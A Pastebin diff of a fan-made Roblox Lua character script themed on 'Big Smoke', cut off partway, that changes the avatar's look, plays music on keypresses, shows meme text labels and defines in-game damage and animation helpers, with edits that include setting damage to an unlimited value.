SHOW:
|
|
- or go back to the newest paste.
1 | --U PICK DA WRUNG HAUSE F)00ll | |
2 | paly = game.Players.LocalPlayer | |
3 | Player = game:GetService("Players").LocalPlayer | |
4 | p = game.Players.LocalPlayer | |
5 | char = paly.Character | |
6 | vt = Vector3.new | |
7 | rarm = char["Right Arm"] | |
8 | hed = char.Head | |
9 | local randomquote = 0 | |
10 | larm = char["Left Arm"] | |
11 | rleg = char["Right Leg"] | |
12 | lleg = char["Left Leg"] | |
13 | torso = char.Torso | |
14 | local maincolor = BrickColor.random() | |
15 | local sholpad = Instance.new("Part",char) | |
16 | sholpad.Name = "SholPads" | |
17 | sholpad.Reflectance = 0 | |
18 | sholpad.BottomSurface = 0 | |
19 | sholpad.TopSurface = 0 | |
20 | sholpad.Anchored = false | |
21 | sholpad.Locked = true | |
22 | sholpad.CanCollide = false | |
23 | sholpad.BrickColor = BrickColor.new("White") | |
24 | local padweld = Instance.new("Weld",sholpad) | |
25 | padweld.Part0 = rarm | |
26 | padweld.Part1 = sholpad | |
27 | padweld.C0 = CFrame.new(0,-1.1,-.3)*CFrame.Angles(210,0,0) | |
28 | local padmesh = Instance.new("SpecialMesh",sholpad) | |
29 | padmesh.MeshType = "FileMesh" | |
30 | padmesh.MeshId = "http://www.roblox.com/asset/?id=54983181" | |
31 | padmesh.TextureId = "http://www.roblox.com/asset/?id=54983181" | |
32 | padmesh.Scale = Vector3.new(1.2,1.2,1.2) | |
33 | local asd = game:service'Players'.LocalPlayer | |
34 | repeat wait() until asd.Character | |
35 | local asdchar = asd.Character | |
36 | local Torso = asdchar:findFirstChild("Torso") | |
37 | local Head = asdchar:findFirstChild("Head") | |
38 | local BC = asdchar["Body Colors"] | |
39 | BC.HeadColor = BrickColor.new("Brown") | |
40 | BC.LeftArmColor = BrickColor.new("Brown") | |
41 | BC.LeftLegColor = BrickColor.new("Brown") | |
42 | BC.RightArmColor = BrickColor.new("Brown") | |
43 | BC.RightLegColor = BrickColor.new("Brown") | |
44 | BC.TorsoColor = BrickColor.new("Brown") | |
45 | keyboard = game:GetService("UserInputService") | |
46 | mouse = asd:GetMouse() | |
47 | cc = Instance.new("ColorCorrectionEffect",game.Lighting) | |
48 | cc.TintColor = Color3.new(1,0,0) | |
49 | cc.Saturation = -1 | |
50 | cc.Brightness = -.3 | |
51 | cc.Contrast = 1 | |
52 | cc.Enabled = false | |
53 | local z = Instance.new("Sound", asdchar) | |
54 | z.Name = "song" | |
55 | - | z.SoundId = "rbxassetid://318250043" -- Put Music ID Here. |
55 | + | z.SoundId = "rbxassetid://606089454" -- Put Music ID Here. |
56 | z.Volume = 1 | |
57 | z.EmitterSize = 1 | |
58 | z.MaxDistance = 1 | |
59 | local z2 = Instance.new("Sound", asdchar) | |
60 | z2.Name = "song" | |
61 | z2.SoundId = "rbxassetid://609079653" -- Put Music ID Here. | |
62 | z2.Volume = 1 | |
63 | z2.EmitterSize = 1 | |
64 | z2.MaxDistance = 1 | |
65 | local fol = Instance.new("Sound", asdchar) | |
66 | fol.Name = "song" | |
67 | fol.SoundId = "rbxassetid://409176756" -- Put Music ID Here. | |
68 | fol.Volume = 1 | |
69 | fol.EmitterSize = 1 | |
70 | fol.MaxDistance = 1 | |
71 | mouse.KeyDown:connect(function(key) | |
72 | if key == "z" then | |
73 | if z.IsPlaying == false then | |
74 | z:Play() | |
75 | elseif z.IsPlaying == true then | |
76 | z:Stop() | |
77 | end | |
78 | elseif key == "x" then | |
79 | if z2.IsPlaying == false then | |
80 | z2:Play() | |
81 | elseif z2.IsPlaying == true then | |
82 | z2:Stop() | |
83 | end | |
84 | elseif key == "c" then | |
85 | if fol.IsPlaying == false then | |
86 | fol:Play() | |
87 | cc.Enabled = true | |
88 | wait(2.011) | |
89 | cc.Enabled = false | |
90 | elseif fol.IsPlaying == true then | |
91 | fol:Stop() | |
92 | cc.Enabled = false | |
93 | end | |
94 | end | |
95 | end) | |
96 | Player = game:GetService("Players").LocalPlayer | |
97 | Character = Player.Character | |
98 | Head = Character.Head | |
99 | keyboard = game:GetService("UserInputService") | |
100 | mouse = Player:GetMouse() | |
101 | highnoon1 = true | |
102 | highnoon2 = false | |
103 | runservice = game:GetService("RunService") | |
104 | bullets = 6 | |
105 | local Humanoid = Character:FindFirstChild("Humanoid") | |
106 | Humanoid.Health = math.huge | |
107 | wait() | |
108 | Humanoid.MaxHealth = math.huge | |
109 | la=Character["Left Arm"] | |
110 | ra=Character["Right Arm"] | |
111 | ll=Character["Left Leg"] | |
112 | rl=Character["Right Leg"] | |
113 | t=Character.Torso | |
114 | ||
115 | local scrn = Instance.new("ScreenGui", asd.PlayerGui) | |
116 | function makeframe(par, trans, pos, size, color) | |
117 | local frame = Instance.new("Frame", par) | |
118 | frame.BackgroundTransparency = trans | |
119 | frame.BorderSizePixel = 0 | |
120 | frame.Position = pos | |
121 | frame.Size = size | |
122 | frame.BackgroundColor3 = Color3.new(.3,.3,.3) | |
123 | return frame | |
124 | end | |
125 | function makelabel(par, text) | |
126 | local label = Instance.new("TextLabel", par) | |
127 | label.BackgroundTransparency = 1 | |
128 | label.Size = UDim2.new(1, 0, 1, 0) | |
129 | label.Position = UDim2.new(0, 0, 0, 0) | |
130 | label.TextColor3 = Color3.new(255, 255, 255) | |
131 | label.TextStrokeTransparency = 0 | |
132 | label.FontSize = Enum.FontSize.Size32 | |
133 | label.Font = Enum.Font.SourceSansLight | |
134 | label.BorderSizePixel = 0 | |
135 | label.TextScaled = true | |
136 | label.Text = text | |
137 | end | |
138 | framesk1 = makeframe(scrn, 0.5, UDim2.new(0.8, 0, 0.85, 0), UDim2.new(0.16, 0, 0.1, 0), skillcolorscheme) | |
139 | framesk2 = makeframe(scrn, 0.5, UDim2.new(0.8, 0, 0.74, 0), UDim2.new(0.16, 0, 0.1, 0), skillcolorscheme) | |
140 | framesk3 = makeframe(scrn, 0.5, UDim2.new(0.8, 0, 0.63, 0), UDim2.new(0.16, 0, 0.1, 0), skillcolorscheme) | |
141 | framesk4 = makeframe(scrn, 0.5, UDim2.new(0.8, 0, 0.52, 0), UDim2.new(0.16, 0, 0.1, 0), Color3.new(0,0,0)) | |
142 | bar1 = makeframe(framesk1, 0.5, UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 1, 0), skillcolorscheme) | |
143 | bar2 = makeframe(framesk2, 0.5, UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 1, 0), skillcolorscheme) | |
144 | bar3 = makeframe(framesk3, 0.5, UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 1, 0), skillcolorscheme) | |
145 | bar4 = makeframe(framesk4, 0.5, UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 1, 0), Color3.new(0,0,0)) | |
146 | text1 = makelabel(framesk1, [[ | |
147 | [V] | |
148 | idk]]) | |
149 | text2 = makelabel(framesk2, [[ | |
150 | [C] | |
151 | YOU PICKED THE WRONG HOUSE FOOL!]]) | |
152 | text3 = makelabel(framesk3, [[ | |
153 | [X] | |
154 | OOOOOOOOOOOOOOOO]]) | |
155 | text4 = makelabel(framesk4, [[ | |
156 | [Z] | |
157 | BIG SMOKE ORDER]]) | |
158 | ||
159 | CV="Maroon" | |
160 | local txt = Instance.new("BillboardGui", Character) | |
161 | txt.Adornee = Character .Head | |
162 | txt.Name = "_status" | |
163 | txt.Size = UDim2.new(2, 0, 1.2, 0) | |
164 | txt.StudsOffset = Vector3.new(-9, 8, 0) | |
165 | local text = Instance.new("TextLabel", txt) | |
166 | text.Size = UDim2.new(10, 0, 7, 0) | |
167 | text.FontSize = "Size24" | |
168 | text.TextScaled = true | |
169 | text.TextTransparency = 0 | |
170 | text.BackgroundTransparency = 1 | |
171 | text.TextTransparency = 0 | |
172 | text.TextStrokeTransparency = 0 | |
173 | text.Font = "Cartoon" | |
174 | text.TextStrokeColor3 = Color3.new(0,0,0) | |
175 | v=Instance.new("Part") | |
176 | v.Name = "ColorBrick" | |
177 | v.Parent=Player.Character | |
178 | v.FormFactor="Symmetric" | |
179 | v.Anchored=true | |
180 | v.CanCollide=false | |
181 | v.BottomSurface="Smooth" | |
182 | v.TopSurface="Smooth" | |
183 | v.Size=Vector3.new(10,5,3) | |
184 | v.Transparency=1 | |
185 | v.CFrame=Character.Torso.CFrame | |
186 | v.BrickColor=BrickColor.new(CV) | |
187 | v.Transparency=1 | |
188 | text.TextColor3 = Color3.new(1,1,1) | |
189 | v.Shape="Block" | |
190 | text.Text = "BIG SMOKE" | |
191 | local BC = Character["Body Colors"] | |
192 | BC.HeadColor = BrickColor.new("Brown") | |
193 | BC.LeftArmColor = BrickColor.new("Brown") | |
194 | BC.LeftLegColor = BrickColor.new("Brown") | |
195 | BC.RightArmColor = BrickColor.new("Brown") | |
196 | BC.RightLegColor = BrickColor.new("Brown") | |
197 | BC.TorsoColor = BrickColor.new("Brown") | |
198 | Torso = Character.Torso | |
199 | Head = Character.Head | |
200 | for i,v in pairs(char:children()) do | |
201 | if v:IsA("Shirt") then | |
202 | v:Destroy() | |
203 | end | |
204 | end | |
205 | for i,v in pairs(char:children()) do | |
206 | if v:IsA("Pants") then | |
207 | v:Destroy() | |
208 | end | |
209 | end | |
210 | shirt = Instance.new("Shirt", char) | |
211 | shirt.Name = "Shirt" | |
212 | pants = Instance.new("Pants", char) | |
213 | pants.Name = "Pants" | |
214 | char.Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=593699904" | |
215 | char.Pants.PantsTemplate = "http://www.roblox.com/asset/?id=129458425" | |
216 | p = game.Players.LocalPlayer | |
217 | char = p.Character | |
218 | torso = char.Torso | |
219 | neck = char.Torso.Neck | |
220 | hum = char.Humanoid | |
221 | hum.MaxHealth = 12500 | |
222 | wait() | |
223 | hum.Health =hum.MaxHealth | |
224 | euler = CFrame.fromEulerAnglesXYZ | |
225 | angles = CFrame.Angles | |
226 | local player = "LocalPlayer" | |
227 | local Character = game.Players[player].Character | |
228 | it = Instance.new | |
229 | vt = Vector3.new | |
230 | bc = BrickColor.new | |
231 | cf = CFrame.new | |
232 | mr = math.rad | |
233 | local Weapon = {} | |
234 | local p = game.Players.LocalPlayer | |
235 | local char = p.Character | |
236 | local mouse = p:GetMouse() | |
237 | local larm = char["Left Arm"] | |
238 | local rarm = char["Right Arm"] | |
239 | local lleg = char["Left Leg"] | |
240 | local rleg = char["Right Leg"] | |
241 | local hed = char.Head | |
242 | local torso = char.Torso | |
243 | local hum = char.Humanoid | |
244 | local cam = game.Workspace.CurrentCamera | |
245 | local root = char.HumanoidRootPart | |
246 | local deb = false | |
247 | local shot = 0 | |
248 | ||
249 | local debris=game:service"Debris" | |
250 | local l = game:GetService("Lighting") | |
251 | local rs = game:GetService("RunService").RenderStepped | |
252 | ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1} | |
253 | math.randomseed(os.time()) | |
254 | for i,v in pairs (hed:GetChildren()) do | |
255 | if v:IsA("Sound") then | |
256 | v:Destroy() | |
257 | end | |
258 | end | |
259 | weld = function(parent, part0, part1, c0) | |
260 | local weld = it("Motor6D") | |
261 | weld.Parent = parent | |
262 | weld.Part0 = part0 | |
263 | weld.Part1 = part1 | |
264 | weld.C0 = c0 | |
265 | return weld | |
266 | end | |
267 | local modelzorzez = Instance.new("Model") | |
268 | modelzorzez.Parent = workspace.CurrentCamera | |
269 | modelzorzez.Name = "none" | |
270 | local Torso = Character.Torso | |
271 | local LeftArm = Character["Left Arm"] | |
272 | local RightArm = Character["Right Arm"] | |
273 | local LeftLeg = Character["Left Leg"] | |
274 | local RightLeg = Character["Right Leg"] | |
275 | local Head = Character.Head | |
276 | local RootPart = Character.HumanoidRootPart | |
277 | wait(0.016666666666667) | |
278 | script.Archivable = false | |
279 | Effects = {} | |
280 | local Player = game.Players.localPlayer | |
281 | local Character = Player.Character | |
282 | local Humanoid = Character.Humanoid | |
283 | local mouse = Player:GetMouse() | |
284 | local m = Instance.new("Model", Character) | |
285 | m.Name = "WeaponModel" | |
286 | local effect = Instance.new("Model", Character) | |
287 | effect.Name = "effecsfsafzx" | |
288 | local demon = Instance.new("Model", Character) | |
289 | demon.Name = "demdemd" | |
290 | local LeftArm = Character["Left Arm"] | |
291 | local RightArm = Character["Right Arm"] | |
292 | local LeftLeg = Character["Left Leg"] | |
293 | local RightLeg = Character["Right Leg"] | |
294 | local do2target = nil | |
295 | local Head = Character.Head | |
296 | local Torso = Character.Torso | |
297 | TorsoColor = BrickColor.new("Dark indigo") | |
298 | local cam = game.Workspace.CurrentCamera | |
299 | local RootPart = Character.HumanoidRootPart | |
300 | local RootJoint = RootPart.RootJoint | |
301 | local equipped = false | |
302 | local attack = false | |
303 | local Anim = "Idle" | |
304 | local idle = 0 | |
305 | local attacktype = 1 | |
306 | local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude | |
307 | local velocity = RootPart.Velocity.y | |
308 | local sine = 0 | |
309 | local change = 1 | |
310 | local mana = 0 | |
311 | local it = Instance.new | |
312 | vt = Vector3.new | |
313 | local grabbed = false | |
314 | local cf = CFrame.new | |
315 | local mr = math.rad | |
316 | local angles = CFrame.Angles | |
317 | local ud = UDim2.new | |
318 | local c3 = Color3.new | |
319 | ||
320 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
321 | if hit.Parent==nil then | |
322 | return | |
323 | end | |
324 | h=hit.Parent:FindFirstChild("Humanoid") | |
325 | for _,v in pairs(hit.Parent:children()) do | |
326 | if v:IsA("Humanoid") then | |
327 | h=v | |
328 | end | |
329 | end | |
330 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
331 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
332 | end | |
333 | - | if hit.Parent.className=="Hat" then |
333 | + | if hit.Parent.className=="Accessory" then |
334 | hit=hit.Parent.Parent:findFirstChild("Head") | |
335 | end | |
336 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
337 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
338 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
339 | return | |
340 | end]] | |
341 | -- hs(hit,1.2) | |
342 | c=Instance.new("ObjectValue") | |
343 | c.Name="creator" | |
344 | c.Value=game:service("Players").LocalPlayer | |
345 | c.Parent=h | |
346 | game:GetService("Debris"):AddItem(c,.5) | |
347 | - | Damage=math.random(minim,maxim) |
347 | + | Damage=math.huge |
348 | -- h:TakeDamage(Damage) | |
349 | blocked=false | |
350 | block=hit.Parent:findFirstChild("Block") | |
351 | if block~=nil then | |
352 | print(block.className) | |
353 | if block.className=="NumberValue" then | |
354 | if block.Value>0 then | |
355 | blocked=true | |
356 | if decreaseblock==nil then | |
357 | block.Value=block.Value-1 | |
358 | end | |
359 | end | |
360 | end | |
361 | if block.className=="IntValue" then | |
362 | if block.Value>0 then | |
363 | blocked=true | |
364 | if decreaseblock~=nil then | |
365 | block.Value=block.Value-1 | |
366 | end | |
367 | end | |
368 | end | |
369 | end | |
370 | if blocked==false then | |
371 | -- h:TakeDamage(Damage) | |
372 | h.Health=h.Health-Damage | |
373 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
374 | else | |
375 | h.Health=h.Health-(Damage/2) | |
376 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) | |
377 | end | |
378 | if Type=="Knockdown" then | |
379 | hum=hit.Parent.Humanoid | |
380 | hum.PlatformStand=true | |
381 | coroutine.resume(coroutine.create(function(HHumanoid) | |
382 | swait(1) | |
383 | HHumanoid.PlatformStand=false | |
384 | end),hum) | |
385 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
386 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
387 | local bodvol=Instance.new("BodyVelocity") | |
388 | bodvol.velocity=angle*knockback | |
389 | bodvol.P=5000 | |
390 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
391 | bodvol.Parent=hit | |
392 | rl=Instance.new("BodyAngularVelocity") | |
393 | rl.P=3000 | |
394 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
395 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
396 | rl.Parent=hit | |
397 | game:GetService("Debris"):AddItem(bodvol,.5) | |
398 | game:GetService("Debris"):AddItem(rl,.5) | |
399 | elseif Type=="Normal" then | |
400 | vp=Instance.new("BodyVelocity") | |
401 | vp.P=500 | |
402 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
403 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
404 | if KnockbackType==1 then | |
405 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
406 | elseif KnockbackType==2 then | |
407 | vp.velocity=Property.CFrame.lookVector*knockback | |
408 | end | |
409 | if knockback>0 then | |
410 | vp.Parent=hit.Parent.Torso | |
411 | end | |
412 | game:GetService("Debris"):AddItem(vp,.5) | |
413 | elseif Type=="Up" then | |
414 | local bodyVelocity=Instance.new("BodyVelocity") | |
415 | bodyVelocity.velocity=vt(0,10,0) | |
416 | bodyVelocity.P=1000 | |
417 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
418 | bodyVelocity.Parent=hit | |
419 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
420 | rl=Instance.new("BodyAngularVelocity") | |
421 | rl.P=3000 | |
422 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
423 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
424 | rl.Parent=hit | |
425 | game:GetService("Debris"):AddItem(rl,.5) | |
426 | elseif Type=="Snare" then | |
427 | bp=Instance.new("BodyPosition") | |
428 | bp.P=2000 | |
429 | bp.D=100 | |
430 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
431 | bp.position=hit.Parent.Torso.Position | |
432 | bp.Parent=hit.Parent.Torso | |
433 | game:GetService("Debris"):AddItem(bp,1) | |
434 | elseif Type=="Target" then | |
435 | if Targetting==false then | |
436 | ZTarget=hit.Parent.Torso | |
437 | coroutine.resume(coroutine.create(function(Part) | |
438 | swait(5) | |
439 | end),ZTarget) | |
440 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
441 | targetgui=Instance.new("BillboardGui") | |
442 | targetgui.Parent=ZTarget | |
443 | targetgui.Size=UDim2.new(10,100,10,100) | |
444 | targ=Instance.new("ImageLabel") | |
445 | targ.Parent=targetgui | |
446 | targ.BackgroundTransparency=1 | |
447 | targ.Image="rbxassetid://4834067" | |
448 | targ.Size=UDim2.new(1,0,1,0) | |
449 | cam.CameraType="Scriptable" | |
450 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
451 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
452 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
453 | Targetting=true | |
454 | RocketTarget=ZTarget | |
455 | for i=1,Property do | |
456 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
457 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
458 | swait() | |
459 | end | |
460 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
461 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
462 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
463 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
464 | end | |
465 | Targetting=false | |
466 | RocketTarget=nil | |
467 | targetgui.Parent=nil | |
468 | cam.CameraType="Custom" | |
469 | end | |
470 | end | |
471 | debounce=Instance.new("BoolValue") | |
472 | debounce.Name="DebounceHit" | |
473 | debounce.Parent=hit.Parent | |
474 | debounce.Value=true | |
475 | game:GetService("Debris"):AddItem(debounce,Delay) | |
476 | c=Instance.new("ObjectValue") | |
477 | c.Name="creator" | |
478 | c.Value=Player | |
479 | c.Parent=h | |
480 | game:GetService("Debris"):AddItem(c,.5) | |
481 | CRIT=false | |
482 | hitDeb=true | |
483 | AttackPos=6 | |
484 | end | |
485 | end | |
486 | ||
487 | showDamage=function(Char,Dealt,du,Color) | |
488 | m=Instance.new("Model") | |
489 | m.Name="" | |
490 | h=Instance.new("Humanoid") | |
491 | h.Health=0 | |
492 | h.MaxHealth=0 | |
493 | h.Parent=m | |
494 | c=Instance.new("Part") | |
495 | c.Transparency=0 | |
496 | c.Material = "Neon" | |
497 | c.BrickColor=bc("Bright red") | |
498 | c.Name="Head" | |
499 | c.TopSurface=0 | |
500 | c.BottomSurface=0 | |
501 | CV="Hot pink" | |
502 | ||
503 | local txt = Instance.new("BillboardGui", c) | |
504 | txt.Adornee = c | |
505 | txt.Name = "_status" | |
506 | txt.Size = UDim2.new(2, 0, 1.2, 0) | |
507 | txt.StudsOffset = Vector3.new(-9, 8, 0) | |
508 | local text = Instance.new("TextLabel", txt) | |
509 | text.Size = UDim2.new(10, 0, 7, 0) | |
510 | text.FontSize = "Size24" | |
511 | text.TextScaled = true | |
512 | text.TextTransparency = 0 | |
513 | text.BackgroundTransparency = 1 | |
514 | text.TextTransparency = 0 | |
515 | text.TextStrokeTransparency = 0 | |
516 | text.Font = "Cartoon" | |
517 | text.TextStrokeColor3 = BrickColor.new("Really black").Color | |
518 | ||
519 | v=Instance.new("Part") | |
520 | v.Name = "ColorBrick" | |
521 | v.Parent=c | |
522 | v.FormFactor="Symmetric" | |
523 | v.Anchored=true | |
524 | v.CanCollide=false | |
525 | v.BottomSurface="Smooth" | |
526 | v.TopSurface="Smooth" | |
527 | v.Size=Vector3.new(10,5,3) | |
528 | v.Transparency=1 | |
529 | v.CFrame=c.CFrame | |
530 | v.BrickColor=BrickColor.new(CV) | |
531 | v.Transparency=1 | |
532 | text.TextColor3 = BrickColor.new("White").Color | |
533 | v.Shape="Block" | |
534 | text.Text = tostring(Dealt).. "!" | |
535 | local tick = Instance.new("Sound",c) | |
536 | tick.SoundId = "rbxassetid://553325070" | |
537 | tick.Volume = 1.25 | |
538 | tick.Pitch = 0.75 | |
539 | tick:Play() | |
540 | c.formFactor="Plate" | |
541 | c.Transparency = 0.99 | |
542 | c.Size=Vector3.new(1,.4,1) | |
543 | ms=Instance.new("CylinderMesh") | |
544 | ms.Scale=Vector3.new(.8,.8,.8) | |
545 | if CRIT==true then | |
546 | ms.Scale=Vector3.new(1,1.25,1) | |
547 | end | |
548 | ms.Parent=c | |
549 | c.Reflectance=0 | |
550 | Instance.new("BodyGyro").Parent=c | |
551 | c.Parent=m | |
552 | if Char:findFirstChild("Head")~=nil then | |
553 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
554 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
555 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
556 | end | |
557 | f=Instance.new("BodyPosition") | |
558 | f.P=2000 | |
559 | f.D=100 | |
560 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
561 | f.position=c.Position+Vector3.new(0,3,0) | |
562 | f.Parent=c | |
563 | game:GetService("Debris"):AddItem(m,.5+du) | |
564 | c.CanCollide=false | |
565 | m.Parent=workspace | |
566 | c.CanCollide=false | |
567 | end | |
568 | ||
569 | clerp = function(a, b, t) | |
570 | ||
571 | return a:lerp(b, t) | |
572 | end | |
573 | ||
574 | ArtificialHB = Instance.new("BindableEvent", script) | |
575 | ArtificialHB.Name = "Heartbeat" | |
576 | script:WaitForChild("Heartbeat") | |
577 | frame = 0.033333333333333 | |
578 | tf = 0 | |
579 | allowframeloss = false | |
580 | tossremainder = false | |
581 | lastframe = tick() | |
582 | script.Heartbeat:Fire() | |
583 | game:GetService("RunService").Heartbeat:connect(function(s, p) | |
584 | ||
585 | tf = tf + s | |
586 | if frame <= tf then | |
587 | if allowframeloss then | |
588 | script.Heartbeat:Fire() | |
589 | lastframe = tick() | |
590 | else | |
591 | for i = 1, math.floor(tf / frame) do | |
592 | script.Heartbeat:Fire() | |
593 | end | |
594 | lastframe = tick() | |
595 | end | |
596 | if tossremainder then | |
597 | tf = 0 | |
598 | else | |
599 | tf = tf - frame * math.floor(tf / frame) | |
600 | end | |
601 | end | |
602 | end | |
603 | ) | |
604 | swait = function(num) | |
605 | ||
606 | if num == 0 or num == nil then | |
607 | ArtificialHB.Event:wait() | |
608 | else | |
609 | for i = 0, num do | |
610 | ArtificialHB.Event:wait() | |
611 | end | |
612 | end | |
613 | end | |
614 | ||
615 | CreateSound = function(id, par, vol, pit) | |
616 | ||
617 | coroutine.resume(coroutine.create(function() | |
618 | ||
619 | local sou = Instance.new("Sound", par or workspace) | |
620 | sou.Volume = vol | |
621 | sou.Pitch = pit or 1 | |
622 | sou.SoundId = id | |
623 | swait() | |
624 | sou:play() | |
625 | game:GetService("Debris"):AddItem(sou, 6) | |
626 | end | |
627 | )) | |
628 | end | |
629 | paly = game.Players.LocalPlayer | |
630 | char = paly.Character | |
631 | torso = char.Torso | |
632 | neck = char.Torso.Neck | |
633 | hum = char.Humanoid | |
634 | Player = game:GetService("Players").LocalPlayer | |
635 | local mouse = Player:GetMouse() | |
636 | Character = Player.Character | |
637 | tors = Character.Torso | |
638 | lleg = Character["Left Leg"] | |
639 | root = Character.HumanoidRootPart | |
640 | hed = Character.Head | |
641 | rleg = Character["Right Leg"] | |
642 | rarm = Character["Right Arm"] | |
643 | larm = Character["Left Arm"] | |
644 | local Effects = {} | |
645 | attack = false | |
646 | vt = Vector3.new | |
647 | bc = BrickColor.new | |
648 | br = BrickColor.random | |
649 | it = Instance.new | |
650 | cf = CFrame.new | |
651 | euler = CFrame.fromEulerAnglesXYZ | |
652 | angles = CFrame.Angles | |
653 | matr = math.random | |
654 | -- sin | |
655 | Player=game:GetService("Players").LocalPlayer | |
656 | Character=Player.Character | |
657 | PlayerGui=Player.PlayerGui | |
658 | Backpack=Player.Backpack | |
659 | Torso=Character.Torso | |
660 | Head=Character.Head | |
661 | Humanoid=Character.Humanoid | |
662 | m=Instance.new('Model',Character) | |
663 | LeftArm=Character["Left Arm"] | |
664 | LeftLeg=Character["Left Leg"] | |
665 | RightArm=Character["Right Arm"] | |
666 | RightLeg=Character["Right Leg"] | |
667 | LS=Torso["Left Shoulder"] | |
668 | LH=Torso["Left Hip"] | |
669 | RS=Torso["Right Shoulder"] | |
670 | RH=Torso["Right Hip"] | |
671 | Face = Head.face | |
672 | Neck=Torso.Neck | |
673 | it=Instance.new | |
674 | attacktype=1 | |
675 | vt=Vector3.new | |
676 | cf=CFrame.new | |
677 | euler=CFrame.fromEulerAnglesXYZ | |
678 | angles=CFrame.Angles | |
679 | cloaked=false | |
680 | necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
681 | necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
682 | LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0) | |
683 | LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0) | |
684 | RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0) | |
685 | RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0) | |
686 | RootPart=Character.HumanoidRootPart | |
687 | RootJoint=RootPart.RootJoint | |
688 | RootCF=euler(-1.57,0,3.14) | |
689 | attack = false | |
690 | attackdebounce = false | |
691 | deb=false | |
692 | equipped=true | |
693 | hand=false | |
694 | MMouse=nil | |
695 | combo=0 | |
696 | mana=0 | |
697 | trispeed=1 | |
698 | pathtrans=.7 | |
699 | attackmode='none' | |
700 | local idle=0 | |
701 | local Anim="Idle" | |
702 | local Effects={} | |
703 | local gun=false | |
704 | local shoot=false | |
705 | player=nil | |
706 | cloak=false | |
707 | lightcolor='Bright blue' | |
708 | ||
709 | mouse=Player:GetMouse() | |
710 | --save shoulders | |
711 | RSH, LSH=nil, nil | |
712 | --welds | |
713 | RW, LW=Instance.new("Weld"), Instance.new("Weld") | |
714 | RW.Name="Right Shoulder" LW.Name="Left Shoulder" | |
715 | LH=Torso["Left Hip"] | |
716 | RH=Torso["Right Hip"] | |
717 | TorsoColor=BrickColor.new("Dark indigo") | |
718 | function NoOutline(Part) | |
719 | Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10 | |
720 | end | |
721 | player=Player | |
722 | ch=Character | |
723 | RSH=ch.Torso["Right Shoulder"] | |
724 | LSH=ch.Torso["Left Shoulder"] | |
725 | -- | |
726 | RSH.Parent=nil | |
727 | LSH.Parent=nil | |
728 | -- | |
729 | RW.Name="Right Shoulder" | |
730 | RW.Part0=ch.Torso | |
731 | RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) | |
732 | RW.C1=cf(0, 0.5, 0) | |
733 | RW.Part1=ch["Right Arm"] | |
734 | RW.Parent=ch.Torso | |
735 | -- | |
736 | LW.Name="Left Shoulder" | |
737 | LW.Part0=ch.Torso | |
